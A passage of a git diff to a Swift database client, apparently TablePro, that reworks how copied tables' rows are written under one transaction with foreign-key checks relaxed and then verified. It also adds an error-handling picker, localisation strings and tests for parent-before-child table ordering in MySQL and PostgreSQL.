+                if usesTransaction { try? await plugin.rollbackTransaction() }
+                throw error
             }
-
-            var result = try await Self.executeTableDDL(
-                schemaStatements: schemaStatements,
-                groups: tableGroups,
-                on: plugin,
-                pinsSession: pinsSession,
-                errorHandling: errorHandling,
-                progress: progress
-            )
             /// Outside the write scope, because a routine or trigger records the session's
             /// `sql_mode`: it gets its own creation settings, or else the target's.
             if !result.stopped {
@@ -288,14 +303,14 @@ internal struct ObjectCopyRunner {
             }
             result.joinedSessionTransaction = owner == .session
 
-            if relaxesForeignKeys {
-                for statement in plugin.foreignKeyEnableStatements() ?? [] {
-                    _ = try? await plugin.execute(query: statement)
-                }
-            }
             guard usesTransaction else { return result }
             guard result.stopped else {
-                try await plugin.commitTransaction()
+                do {
+                    try await plugin.commitTransaction()
+                } catch {
+                    try? await plugin.rollbackTransaction()
+                    throw error
+                }
                 return result
             }
             try? await plugin.rollbackTransaction()
@@ -406,6 +421,40 @@ internal struct ObjectCopyRunner {
         return ranAny
     }
 
+    /// Parents already come first, but a cycle, a self reference whose child row comes first, or a
+    /// source row that already breaks a key is written only with the target's checks off.
+    nonisolated private static func withForeignKeysRelaxed<T>(
+        on plugin: any PluginDatabaseDriver,
+        when relaxes: Bool,
+        _ body: (_ relaxed: Bool) async throws -> T
+    ) async throws -> T {
+        guard relaxes else { return try await body(false) }
+        let opened: PluginSessionScope?
+        do {
+            opened = try await plugin.openSessionScope(for: .relaxedForeignKeys)
+        } catch {
+            logger.warning("Copying with foreign key checks on: \(error.publicLogShape, privacy: .public)")
+            opened = nil
+        }
+        guard let scope = opened else { return try await body(false) }
+        // Shielded like a rollback: the connection goes back to the pool after this lease.
+        func close() async {
+            do {
+                try await TaskCancellationShield.run { try await plugin.closeSessionScope(scope) }
+            } catch {
+                logger.error("Restoring foreign key checks failed: \(error.publicLogShape, privacy: .public)")
+            }
+        }
+        do {
+            let value = try await body(true)
+            await close()
+            return value
+        } catch {
+            await close()
+            throw error
+        }
+    }
+
     /// Each statement shielded like a rollback: the connection goes back to the pool after this
     /// lease, and a setting left behind would apply to whatever leases it next.
     nonisolated private static func closeSettings(
@@ -453,33 +502,73 @@ internal struct ObjectCopyRunner {
         var stopped = false
         /// True when the rows went into a transaction the session already held.
         var joinedSessionTransaction = false
-        /// Only what was committed. A cancelled table rolls its rows back, so counting what the
-        /// copier inserted reported rows the target never kept.
+        /// Every row written, a stopped or failed table's included. A rollback takes the count back
+        /// with the rows; a target that opened no transaction keeps both, and leaving them out
+        /// would send a retry over them.
         var rowsCopied = 0
+
+        mutating func recordCopy(of step: ObjectCopyTableStep, inserted: Int) {
+            rowsCopied += inserted
+            outcomes.append(ObjectCopyObjectOutcome(selection: step.selection, rowsCopied: inserted, error: nil))
+        }
+
+        /// Stop reaching the driver mid-stream is the user stopping, not the copy failing, and the
+        /// two produce different notifications.
+        mutating func recordStop(of step: ObjectCopyTableStep, inserted: Int, progress: ObjectCopyProgress) {
+            cancelled = true
+            stopped = true
+            if inserted > 0 { recordCopy(of: step, inserted: inserted) }
+            progress.setRowsForCurrentObject(0, completedBefore: rowsCopied)
+        }
+
+        /// False when the run stops here.
+        mutating func recordFailure(
+            of step: ObjectCopyTableStep,
+            _ error: any Error,
+            errorHandling: ImportErrorHandling,
+            progress: ObjectCopyProgress
+        ) -> Bool {
+            ObjectCopyRunner.logger.error(
+                "Copy rows failed for \(step.qualifiedTargetName, privacy: .public): \(error.publicLogShape, privacy: .public)"
+            )
+            let written = (error as? ObjectCopyRowCopier.PartialFailure)?.written ?? 0
+            rowsCopied += written
+            progress.setRowsForCurrentObject(0, completedBefore: rowsCopied)
+            outcomes.append(ObjectCopyObjectOutcome(
+                selection: step.selection, rowsCopied: written, error: error.localizedDescription
+            ))
+            guard errorHandling == .skipAndContinue else {
+                stopped = true
+                return false
+            }
+            return true
+        }
     }
 
     private func runData(
         _ plan: ObjectCopyPlan,
+        skipping uncleared: Set<String>,
         request: ObjectCopyRequest,
         progress: ObjectCopyProgress
     ) async throws -> DataResult {
-        guard plan.clearsInsideDataTransaction else {
-            return await runIndependentTables(plan, request: request, progress: progress)
+        guard plan.dataRunsInOneTransaction else {
+            let steps = plan.dataSteps.filter { !uncleared.contains($0.id) }
+            return await runIndependentTables(steps, request: request, progress: progress)
         }
-        return try await runClearedTables(plan, request: request, progress: progress)
+        return try await runInOneTransaction(plan, request: request, progress: progress)
     }
 
-    /// The clear and every row it makes room for, in one transaction on the target.
+    /// Every clear and every row, in one transaction on the target.
     ///
     /// Emptying a table is reversible only while the transaction that emptied it is still open, so
     /// the clears cannot run in a phase of their own once the run has promised a rollback. They
     /// still all run before any table is filled, which is what keeps a cascading foreign key from
     /// taking rows out of a table the user never selected.
     ///
-    /// One transaction for every table is the price of that promise, and it is charged only here:
-    /// a copy with nothing to empty keeps its per-table transactions, where one table's failure
-    /// leaves the tables already copied alone.
-    private func runClearedTables(
+    /// The rows relax the target's checks only here, where a failure takes every one of them back:
+    /// committed table by table, a cycle's first table would keep rows pointing at a second that
+    /// then failed.
+    private func runInOneTransaction(
         _ plan: ObjectCopyPlan,
         request: ObjectCopyRequest,
         progress: ObjectCopyProgress
@@ -491,6 +580,7 @@ internal struct ObjectCopyRunner {
         let targetType = request.target.databaseType
         let sourceScope = request.source.scope
         let errorHandling = request.errorHandling
+        let relaxesRows = plan.keysInside.rows
 
         /// A lease this phase cannot take is a run-level failure with no object to pin it on, and
         /// it is thrown for the same reason the DDL phases throw it: swallowed into a stopped
@@ -507,6 +597,8 @@ internal struct ObjectCopyRunner {
 
             var result = DataResult()
             result.joinedSessionTransaction = owner == .session
+            // Checks stay on for the clears: a table outside the copy that references a cleared one
+            // keeps its own ON DELETE rule, and MySQL cannot prove no other database holds one.
             let cleared = await Self.execute(
                 clearGroups, on: targetPlugin, errorHandling: errorHandling, progress: progress
             )
@@ -515,24 +607,36 @@ internal struct ObjectCopyRunner {
             result.stopped = cleared.stopped
 
             if !result.stopped {
-                let copied = await Self.stream(
-                    steps,
-                    from: sourceScope,
-                    into: targetPlugin,
-                    manager: manager,
-                    sourceType: sourceType,
-                    targetType: targetType,
-                    errorHandling: errorHandling,
-                    progress: progress
-                )
-                result.outcomes += copied.outcomes
-                result.cancelled = result.cancelled || copied.cancelled
-                result.stopped = copied.stopped
-                result.rowsCopied = copied.rowsCopied
+                // Every table here was just created, so the checks cost nothing yet. One the account
+                // may not run, such as a SELECT on a write-only login, keeps the target's checks on.
+                let checkable = usesTransaction && relaxesRows
+                    ? await Self.keyChecksRun(steps, on: targetPlugin)
+                    : false
+                try await Self.withForeignKeysRelaxed(on: targetPlugin, when: checkable) { relaxed in
+                    let copied = await Self.stream(
+                        steps,
+                        from: sourceScope,
+                        into: targetPlugin,
+                        manager: manager,
+                        sourceType: sourceType,
+                        targetType: targetType,
+                        errorHandling: errorHandling,
+                        progress: progress
+                    )
+                    result.outcomes += copied.outcomes
+                    result.cancelled = result.cancelled || copied.cancelled
+                    result.stopped = copied.stopped
+                    result.rowsCopied = copied.rowsCopied
+                    // A row read while the source was changing, or one the source already broke,
+                    // fails here rather than committing past keys nothing checks again.
+                    if relaxed, !result.stopped {
+                        await Self.checkKeys(of: steps, on: targetPlugin, into: &result, progress: progress)
+                    }
+                }
             }
 
             guard usesTransaction else { return result }
-            guard result.stopped, errorHandling != .stopAndCommit else {
+            guard result.stopped else {
                 /// A commit that fails leaves the transaction open, and the clears are inside it,
                 /// so it is rolled back rather than left for the lease to decide.
                 do {
@@ -544,10 +648,16 @@ internal struct ObjectCopyRunner {
                 return result
             }
             try? await targetPlugin.rollbackTransaction()
-            /// The target is back where it started, rows and all, so nothing may be reported
-            /// as copied and no table may be reported as done.
-            result.outcomes = result.outcomes.filter { $0.error != nil }
-            result.rowsCopied = 0
+            /// Nothing may be reported as copied that the rollback took back, and no such table as
+            /// done. A table the engine keeps through a ROLLBACK still holds its rows, and leaving
+            /// them out would send a retry over them.
+            let kept = Set(steps.filter { !$0.rollsBack }.map(\.id))
+            result.outcomes = result.outcomes.compactMap { outcome in
+                if kept.contains(outcome.id) { return outcome }
+                guard let error = outcome.error else { return nil }
+                return ObjectCopyObjectOutcome(selection: outcome.selection, rowsCopied: 0, error: error)
+            }
+            result.rowsCopied = result.outcomes.filter { kept.contains($0.id) }.reduce(0) { $0 + $1.rowsCopied }
             return result
         }
     }
@@ -589,107 +699,63 @@ internal struct ObjectCopyRunner {
                     }
                 }
                 guard !outcome.cancelled else {
-                    result.cancelled = true
-                    result.stopped = true
-                    progress.setRowsForCurrentObject(0, completedBefore: result.rowsCopied)
+                    result.recordStop(of: step, inserted: outcome.inserted, progress: progress)
                     break
                 }
-                result.rowsCopied += outcome.inserted
-                result.outcomes.append(ObjectCopyObjectOutcome(
-                    selection: step.selection, rowsCopied: outcome.inserted, error: nil
-                ))
+                result.recordCopy(of: step, inserted: outcome.inserted)
             } catch is CancellationError {
-                result.cancelled = true
-                result.stopped = true
-                progress.setRowsForCurrentObject(0, completedBefore: result.rowsCopied)
+                result.recordStop(of: step, inserted: 0, progress: progress)
                 break
             } catch {
-                logger.error(
-                    "Copy rows failed for \(step.qualifiedTargetName, privacy: .public): \(error.publicLogShape, privacy: .public)"
-                )
-                result.outcomes.append(ObjectCopyObjectOutcome(
-                    selection: step.selection, rowsCopied: 0, error: error.localizedDescription
-                ))
-                guard errorHandling == .skipAndContinue else {
-                    result.stopped = true
-                    break
-                }
+                guard result.recordFailure(of: step, error, errorHandling: errorHandling, progress: progress) else { break }
             }
         }
         return result
     }
 
-    /// Each table is its own unit of work, so one that fails leaves the ones already copied alone.
-    /// Both scopes are open at once, which the planner has already established is safe: two scopes
-    /// on one connection are refused unless both route to the pool.
+    /// Each batch commits as it is written, so a failure keeps what ran before it, and the target's
+    /// checks stay on: past a stop or a skipped failure a child's parent rows can be missing. Both
+    /// scopes are open at once, which the planner has already established is safe: two scopes on
+    /// one connection are refused unless both route to the pool.
     private func runIndependentTables(
-        _ plan: ObjectCopyPlan,
+        _ steps: [ObjectCopyTableStep],
         request: ObjectCopyRequest,
         progress: ObjectCopyProgress
     ) async -> DataResult {
         var result = DataResult()
         let targetType = request.target.databaseType
 
-        for step in plan.dataSteps {
+        for step in steps {
             if progress.isCancelled || Task.isCancelled {
                 result.cancelled = true
                 result.stopped = true
                 break
             }
             progress.startObject(step.qualifiedTargetName)
-            let wrapsInTransaction = request.wrapEachTableInTransaction
-                && request.errorHandling != .skipAndContinue
 
             do {
                 let copied = try await copyRows(
                     step,
                     request: request,
                     targetType: targetType,
-                    wrapsInTransaction: wrapsInTransaction,
                     completedBefore: result.rowsCopied,
                     progress: progress
                 )
                 let outcome = copied.outcome
                 result.joinedSessionTransaction =
                     result.joinedSessionTransaction || copied.joinedSessionTransaction
-                /// A cancelled table that rolled back neither counts as copied nor reads as an
-                /// object that succeeded. On a target without transactions nothing rolled back, so
-                /// the batches already flushed are in the target and saying otherwise hides them
-                /// from a user about to retry and double the rows.
                 guard !outcome.cancelled else {
-                    result.cancelled = true
-                    result.stopped = true
-                    if outcome.committed > 0 {
-                        result.rowsCopied += outcome.committed
-                        result.outcomes.append(ObjectCopyObjectOutcome(
-                            selection: step.selection, rowsCopied: outcome.committed, error: nil
-                        ))
-                    }
-                    progress.setRowsForCurrentObject(0, completedBefore: result.rowsCopied)
+                    result.recordStop(of: step, inserted: outcome.inserted, progress: progress)
                     break
                 }
-                result.rowsCopied += outcome.inserted
-                result.outcomes.append(ObjectCopyObjectOutcome(
-                    selection: step.selection, rowsCopied: outcome.inserted, error: nil
-                ))
+                result.recordCopy(of: step, inserted: outcome.inserted)
             } catch is CancellationError {
-                /// Stop reaching the driver mid-stream is the user stopping, not the copy failing,
-                /// and the two produce different notifications.
-                result.cancelled = true
-                result.stopped = true
-                progress.setRowsForCurrentObject(0, completedBefore: result.rowsCopied)
+                result.recordStop(of: step, inserted: 0, progress: progress)
                 break
             } catch {
-                Self.logger.error(
-                    "Copy rows failed for \(step.qualifiedTargetName, privacy: .public): \(error.publicLogShape, privacy: .public)"
-                )
-                result.outcomes.append(ObjectCopyObjectOutcome(
-                    selection: step.selection, rowsCopied: 0, error: error.localizedDescription
-                ))
-                guard request.errorHandling == .skipAndContinue else {
-                    result.stopped = true
-                    break
-                }
+                guard result.recordFailure(
+                    of: step, error, errorHandling: request.errorHandling, progress: progress
+                ) else { break }
             }
         }
         return result
@@ -705,7 +771,6 @@ internal struct ObjectCopyRunner {
         _ step: ObjectCopyTableStep,
         request: ObjectCopyRequest,
         targetType: DatabaseType,
-        wrapsInTransaction: Bool,
         completedBefore: Int,
         progress: ObjectCopyProgress
     ) async throws -> CopiedRows {
@@ -714,62 +779,76 @@ internal struct ObjectCopyRunner {
         let copier = ObjectCopyRowCopier(
             step: step, sourceDatabaseType: request.source.databaseType, targetDatabaseType: targetType
         )
-        let errorHandling = request.errorHandling
 
         /// The injected manager on both sides. Reaching for the singleton on the target bypassed
         /// the caller's own connections and routing, which is the whole point of injecting one.
         let manager = self.manager
-        return try await manager.withMetadataDriver(scope: sourceScope, workload: .bulk) { sourceDriver in
-            guard let sourcePlugin = CompareMetadataService.pluginDriver(from: sourceDriver) else {
-                throw ObjectCopyError.refused(Self.noSourceDriver)
+        // Target first, as `runInOneTransaction` takes them: two copies taking the two leases in
+        // opposite orders could each hold the one the other waits for.
+        return try await manager.withMetadataDriver(scope: targetScope, workload: .bulk) { targetDriver in
+            guard let targetPlugin = CompareMetadataService.pluginDriver(from: targetDriver) else {
+                throw ObjectCopyError.refused(Self.noTargetDriver)
             }
+            let owner = await Self.transactionOwner(of: targetDriver)
             return try await manager.withMetadataDriver(
-                scope: targetScope, workload: .bulk
-            ) { targetDriver in
-                guard let targetPlugin = CompareMetadataService.pluginDriver(from: targetDriver) else {
-                    throw ObjectCopyError.refused(Self.noTargetDriver)
+                scope: sourceScope, workload: .bulk
+            ) { sourceDriver in
+                guard let sourcePlugin = CompareMetadataService.pluginDriver(from: sourceDriver) else {
+                    throw ObjectCopyError.refused(Self.noSourceDriver)
                 }
-                let owner = await Self.transactionOwner(of: targetDriver)
-                let usesTransaction = wrapsInTransaction && owner.opensTransaction
-                if usesTransaction {
-                    try await targetPlugin.beginTransaction(mode: .readWrite)
+                let outcome = try await copier.copy(from: sourcePlugin, to: targetPlugin) { rows in
+                    progress.setRowsForCurrentObject(rows, completedBefore: completedBefore)
                 }
+                return CopiedRows(outcome: outcome, joinedSessionTransaction: owner == .session)
+            }
+        }
+    }
+
+    nonisolated private static func keyChecksRun(
+        _ steps: [ObjectCopyTableStep],
+        on driver: any PluginDatabaseDriver
+    ) async -> Bool {
+        for check in steps.flatMap({ $0.keyChecks ?? [] }) {
+            do {
+                _ = try await driver.execute(query: check.sql)
+            } catch {
+                logger.warning(
+                    "Copying with foreign key checks on, \(check.constraint, privacy: .public) cannot be checked: \(error.publicLogShape, privacy: .public)"
+                )
+                return false
+            }
+        }
+        return true
+    }
+
+    /// Stops at the first key that fails, since the rollback that follows takes back every table.
+    nonisolated private static func checkKeys(
+        of steps: [ObjectCopyTableStep],
+        on driver: any PluginDatabaseDriver,
+        into result: inout DataResult,
+        progress: ObjectCopyProgress
+    ) async {
+        for step in steps {
+            for check in step.keyChecks ?? [] {
+                if progress.isCancelled || Task.isCancelled {
+                    result.cancelled = true
+                    result.stopped = true
+                    return
+                }
+                let failure: String
                 do {
-                    let outcome = try await copier.copy(
-                        from: sourcePlugin,
-                        to: targetPlugin
-                    ) { rows in
-                        progress.setRowsForCurrentObject(rows, completedBefore: completedBefore)
-                    }
-                    guard usesTransaction else {
-                        /// Nothing of the copy's own to roll back, so every batch already flushed is
-                        /// in the target, or pending in the transaction the session already held,
-                        /// whether the user stopped or not.
-                        return CopiedRows(
-                            outcome: ObjectCopyRowCopier.Outcome(
-                                inserted: outcome.inserted,
-                                cancelled: outcome.cancelled,
-                                committed: outcome.inserted
-                            ),
-                            joinedSessionTransaction: owner == .session
-                        )
-                    }
-                    if outcome.cancelled {
-                        try? await targetPlugin.rollbackTransaction()
-                    } else {
-                        try await targetPlugin.commitTransaction()
-                    }
-                    return CopiedRows(outcome: outcome, joinedSessionTransaction: false)
+                    let counted = try await driver.execute(query: check.sql).rows.first?.first?.asText
+                    guard let broken = counted.flatMap(Int.init), broken > 0 else { continue }
+                    failure = String(
+                        format: String(localized: "Rows in %1$@ break the foreign key %2$@."),
+                        step.qualifiedTargetName, check.constraint
+                    )
                 } catch {
-                    if usesTransaction {
-                        if errorHandling == .stopAndCommit {
-                            try? await targetPlugin.commitTransaction()
-                        } else {
-                            try? await targetPlugin.rollbackTransaction()
-                        }
-                    }
-                    throw error
+                    failure = error.localizedDescription
                 }
+                result.outcomes.append(ObjectCopyObjectOutcome(selection: step.selection, rowsCopied: 0, error: failure))
+                result.stopped = true
+                return
             }
         }
     }
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyTableDraft.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyTableDraft.swift
index 5b354b0923..3fd3ed1724 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyTableDraft.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyTableDraft.swift
@@ -16,6 +16,8 @@ import TableProPluginKit
 /// each run over the whole list.
 internal struct ObjectCopyTableDraft {
     let selection: ObjectCopySelection
+    /// Kept for the dependency order, which waits until every scope has been read.
+    let read: TableStructureRead
     let snapshot: TableStructureSnapshot
     /// The same table said in the target's own types, which is what the target driver is handed.
     /// Identical to `snapshot` whenever the two engines share a type family, apart from an index the
@@ -41,6 +43,8 @@ internal struct ObjectCopyTableDraft {
     /// The `WHERE` and row limit the user set on this table, or nil for every row.
     let rowScope: PluginExportRowScope?
     let note: String?
+    /// False for a MySQL table whose storage engine keeps its rows through a ROLLBACK, such as MyISAM.
+    let rollsBack: Bool
 
     init(
         selection: ObjectCopySelection,
@@ -54,6 +58,7 @@ internal struct ObjectCopyTableDraft {
         request: ObjectCopyRequest
     ) {
         self.selection = selection
+        self.read = read
         self.snapshot = snapshot
         self.rowScope = request.rowScope(for: selection)
         self.sourceSchema = sourceSchema
@@ -79,6 +84,10 @@ internal struct ObjectCopyTableDraft {
         )
         self.targetStructure = translation.snapshot
         self.isCrossEngine = translation.translated
+        self.rollsBack = !DataSyncTransactionality.cannotRollBack(
+            storageEngine: writesStructure ? translation.snapshot.engine : targetSnapshot?.engine,
+            databaseType: request.target.databaseType
+        )
         /// Only a run that writes the structure has anything to report about it. Appending into a
         /// table the target already has changes no type, so a list of conversions would describe
         /// DDL that is not going to run.
@@ -232,6 +241,7 @@ internal struct ObjectCopyTableDDL: Sendable {
     var drop: [SyncStatement] = []
     var create: [SyncStatement] = []
     var truncate: [SyncStatement] = []
+    var keyChecks: [ObjectCopyKeyCheck]?
 }
 
 internal enum ObjectCopyError: LocalizedError {
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
index 9c5c0ebc69..383f3e0822 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
@@ -903,7 +903,7 @@ extension PluginMetadataRegistry {
                     supportsSSH: false,
                     supportsSSL: false,
                     supportsCascadeDrop: false,
-                    supportsForeignKeyDisable: true,
+                    supportsForeignKeyDisable: false,
                     supportsReadOnlyMode: true,
                     supportsQueryProgress: false,
                     requiresReconnectForDatabaseSwitch: false,
diff --git a/apple/TablePro/Core/Services/Execution/PluginSessionTransactionState+Execution.swift b/apple/TablePro/Core/Services/Execution/PluginSessionTransactionState+Execution.swift
index cbc1b84be1..11512c99bd 100644
--- a/apple/TablePro/Core/Services/Execution/PluginSessionTransactionState+Execution.swift
+++ b/apple/TablePro/Core/Services/Execution/PluginSessionTransactionState+Execution.swift
@@ -37,6 +37,18 @@ internal extension PluginSessionTransactionState {
         }
     }
 
+    /// Whether the session is inside a transaction the user opened, aborted or not.
+    var holdsUserTransaction: Bool {
+        switch self {
+        case .inTransaction, .abortedTransaction:
+            return true
+        case .idle, .holdsSessionLocks, .unknown:
+            return false
+        @unknown default:
+            return false
+        }
+    }
+
     /// What the user has to be told about the transaction this session is holding, or nil when it
     /// is holding none.
     ///
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index 5fad72ccd1..f5096d97d9 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -84453,6 +84453,10 @@
         }
       }
     },
+    "Foreign key enforcement could not be put back while a transaction is open." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "Foreign key must have at least one column, a referenced table, and a referenced column" : {
       "localizations" : {
         "fr" : {
@@ -152752,6 +152756,9 @@
           }
         }
       }
+    },
+    "Rows in %1$@ break the foreign key %2$@." : {
+
     },
     "Rows in %@ changed after they were compared. Compare again before generating the script." : {
       "localizations" : {
diff --git a/apple/TablePro/Views/ObjectCopy/CopyObjectsConfigureView.swift b/apple/TablePro/Views/ObjectCopy/CopyObjectsConfigureView.swift
index 5fa786da36..8b87811a4e 100644
--- a/apple/TablePro/Views/ObjectCopy/CopyObjectsConfigureView.swift
+++ b/apple/TablePro/Views/ObjectCopy/CopyObjectsConfigureView.swift
@@ -6,6 +6,7 @@
 //
 
 import SwiftUI
+import TableProPluginKit
 
 internal struct CopyObjectsConfigureView: View {
     @ObservedObject internal var session: ObjectCopySession
@@ -35,6 +36,7 @@ internal struct CopyObjectsConfigureView: View {
             destinationSection
             contentSection
             existingSection
+            errorHandlingSection
             Spacer(minLength: 0)
         }
         .frame(maxWidth: .infinity, alignment: .leading)
@@ -124,6 +126,18 @@ internal struct CopyObjectsConfigureView: View {
         }
     }
 
+    private var errorHandlingSection: some View {
+        labelled(String(localized: "On error")) {
+            Picker(String(localized: "On error"), selection: $session.errorHandling) {
+                Text("Stop and roll back").tag(ImportErrorHandling.stopAndRollback)
+                Text("Stop and keep what ran").tag(ImportErrorHandling.stopAndCommit)
+                Text("Skip and continue").tag(ImportErrorHandling.skipAndContinue)
+            }
+            .labelsHidden()
+            .accessibilityIdentifier("copy-objects-error-handling")
+        }
+    }
+
     @ViewBuilder
     private func labelled(_ title: String, @ViewBuilder content: () -> some View) -> some View {
         VStack(alignment: .leading, spacing: 6) {
diff --git a/apple/TableProMobile/TableProMobile/Localizable.xcstrings b/apple/TableProMobile/TableProMobile/Localizable.xcstrings
index 5e685cb14e..d20e9d9398 100644
--- a/apple/TableProMobile/TableProMobile/Localizable.xcstrings
+++ b/apple/TableProMobile/TableProMobile/Localizable.xcstrings
@@ -10363,6 +10363,10 @@
     },
     "Folder Deleted" : {
 
+    },
+    "Foreign key enforcement could not be put back while a transaction is open." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
     },
     "Foreign Keys" : {
       "localizations" : {
diff --git a/apple/TableProTests/Core/Compare/SchemaSyncScriptBuilderTests.swift b/apple/TableProTests/Core/Compare/SchemaSyncScriptBuilderTests.swift
index 4ffe1cfa8a..08291e640a 100644
--- a/apple/TableProTests/Core/Compare/SchemaSyncScriptBuilderTests.swift
+++ b/apple/TableProTests/Core/Compare/SchemaSyncScriptBuilderTests.swift
@@ -5,6 +5,7 @@
 
 import Foundation
 import TableProPluginKit
+import Testing
 import XCTest
 
 @testable import TablePro
@@ -324,6 +325,171 @@ final class SchemaSyncScriptBuilderTests: XCTestCase {
     }
 }
 
+// The listing leaves the table's schema nil while each key's `referencedSchema` names the endpoint's
+// namespace: MySQL's database, PostgreSQL's schema.
+@MainActor
+struct CompareForeignKeyOrderTests {
+    private func endpoint(database: String, schema: String?, type: DatabaseType) -> DatabaseEndpoint {
+        DatabaseEndpoint(
+            scope: DatabaseScope(connectionId: UUID(), database: database, schema: schema),
+            connectionName: "server",
+            databaseType: type,
+            safeModeLevel: .silent,
+            color: .blue
+        )
+    }
+
+    private func mysql(_ database: String) -> CompareRunner.ReferenceNamespace {
+        CompareRunner.ReferenceNamespace(
+            endpoint: endpoint(database: database, schema: nil, type: .mysql),
+            supportsSchemas: false,
+            supportsDatabases: true
+        )
+    }
+
+    private func postgres(_ schema: String) -> CompareRunner.ReferenceNamespace {
+        CompareRunner.ReferenceNamespace(
+            endpoint: endpoint(database: "app", schema: schema, type: .postgresql),
+            supportsSchemas: true,
+            supportsDatabases: true
+        )
+    }
+
+    private func table(
+        _ name: String,
+        schema: String? = nil,
+        referencing parent: String? = nil,
+        in referencedSchema: String? = nil
+    ) -> TableStructureSnapshot {
+        let foreignKeys = parent.map { parent in
+            [EditableForeignKeyDefinition(
+                id: UUID(), name: "fk_\(name)_\(parent)", columns: ["\(parent)_id"],
+                referencedTable: parent, referencedColumns: ["id"], referencedSchema: referencedSchema,
+                onDelete: .noAction, onUpdate: .noAction
+            )]
+        } ?? []
+        return TableStructureSnapshot(name: name, schema: schema, columns: [], foreignKeys: foreignKeys)
+    }
+
+    private func keyed(_ snapshots: TableStructureSnapshot...) -> [String: TableStructureSnapshot] {
+        Dictionary(uniqueKeysWithValues: snapshots.map { ($0.qualifiedName, $0) })
+    }
+
+    private func rows(
+        for table: String,
+        schema: String? = nil
+    ) -> (plan: DataComparePlan, statements: DataSyncStatements) {
+        let qualified = schema.map { "\($0).\(table)" } ?? table
+        return (
+            DataComparePlan(table: table, schema: schema, columns: [], scope: DataTableScope(), isEnabled: true),
+            DataSyncStatements(
+                inserts: [SyncStatement(sql: "INSERT \(qualified)", objectName: qualified, summary: "")],
+                deletes: [SyncStatement(sql: "DELETE \(qualified)", objectName: qualified, summary: "")]
+            )
+        )
+    }
+
+    @Test
+    func mysqlCreatesAParentBeforeItsChild() {
+        let estates = table("estates")
+        let buildings = table("buildings", referencing: "estates", in: "regest")
+        let foreignKeys = CompareRunner.structureForeignKeys(
+            source: keyed(buildings, estates), in: mysql("regest"), target: [:], in: mysql("regest_copy")
+        )
+
+        let ordered = SchemaSyncScriptBuilder.order(
+            operations: [.createTable(buildings), .createTable(estates)], foreignKeysByTable: foreignKeys
+        )
+
+        let names = ordered.map(\.tableName)
+        #expect(names == ["estates", "buildings"])
+    }
+
+    /// A case-sensitive server holds `Shop` and `shop` side by side, so a key into one is not a key into the other.
+    @Test
+    func mysqlDatabasesThatDifferOnlyInCaseStayApart() {
+        #expect(mysql("Shop").names("Shop"))
+        #expect(!mysql("Shop").names("shop"))
+    }
+
+    @Test
+    func mysqlDropsAChildBeforeItsParentFromTheTargetsKeys() {
+        let estates = table("estates")
+        let buildings = table("buildings", referencing: "estates", in: "regest_copy")
+        let foreignKeys = CompareRunner.structureForeignKeys(
+            source: [:], in: mysql("regest"), target: keyed(buildings, estates), in: mysql("regest_copy")
+        )
+
+        let ordered = SchemaSyncScriptBuilder.order(
+            operations: [.dropTable(name: "estates", schema: nil), .dropTable(name: "buildings", schema: nil)],
+            foreignKeysByTable: foreignKeys
+        )
+
+        let names = ordered.map(\.tableName)
+        #expect(names == ["buildings", "estates"])
+    }
+
+    @Test
+    func mysqlInsertsAParentFirstAndDeletesItLast() {
+        let statements = CompareRunner.orderedAcrossTables(
+            [rows(for: "buildings"), rows(for: "estates")],
+            sourceSnapshots: keyed(table("buildings", referencing: "estates", in: "regest"), table("estates")),
+            in: mysql("regest")
+        )
+
+        let sql = statements.map(\.sql)
+        #expect(sql == ["INSERT estates", "INSERT buildings", "DELETE buildings", "DELETE estates"])
+    }
+
+    // The plan takes the endpoint's schema, so its id is qualified while the snapshot's key is bare.
+    @Test
+    func postgresInsertsAParentFirstWhenTheListingLeavesTheSchemaOff() {
+        let statements = CompareRunner.orderedAcrossTables(
+            [rows(for: "buildings", schema: "public"), rows(for: "estates", schema: "public")],
+            sourceSnapshots: keyed(table("buildings", referencing: "estates", in: "public"), table("estates")),
+            in: postgres("public")
+        )
+
+        let sql = statements.map(\.sql)
+        #expect(sql == [
+            "INSERT public.estates", "INSERT public.buildings", "DELETE public.buildings", "DELETE public.estates",
+        ])
+    }
+
+    @Test
+    func postgresKeysIntoTheTablesOwnSchemaKeepTheParentFirst() {
+        let estates = table("estates", schema: "public")
+        let buildings = table("buildings", schema: "public", referencing: "estates", in: "public")
+        let foreignKeys = CompareRunner.structureForeignKeys(
+            source: keyed(buildings, estates), in: postgres("public"), target: [:], in: postgres("public")
+        )
+
+        let ordered = SchemaSyncScriptBuilder.order(
+            operations: [.createTable(buildings), .createTable(estates)], foreignKeysByTable: foreignKeys
+        )
+
+        let identifiers = ordered.map(\.tableIdentifier)
+        #expect(identifiers == ["public.estates", "public.buildings"])
+    }
+
+    // `app` and `App` are two PostgreSQL schemas, so a key into the other one is no edge here.
+    @Test
+    func postgresSchemaNamesFoldOnlyWhenTheyMatchExactly() {
+        let estates = table("estates")
+        let buildings = table("buildings", referencing: "estates", in: "app")
+        let foreignKeys = CompareRunner.structureForeignKeys(
+            source: keyed(buildings, estates), in: postgres("App"), target: [:], in: postgres("App")
+        )
+
+        let ordered = SchemaSyncScriptBuilder.order(
+            operations: [.createTable(buildings), .createTable(estates)], foreignKeysByTable: foreignKeys
+        )
+
+        let names = ordered.map(\.tableName)
+        #expect(names == ["buildings", "estates"])
+    }
+}
+
 final class SyncSafetyClassifierTests: XCTestCase {
     private let classifier = SyncSafetyClassifier()
 
diff --git a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
index 52592591f0..5234fead9b 100644
--- a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
+++ b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
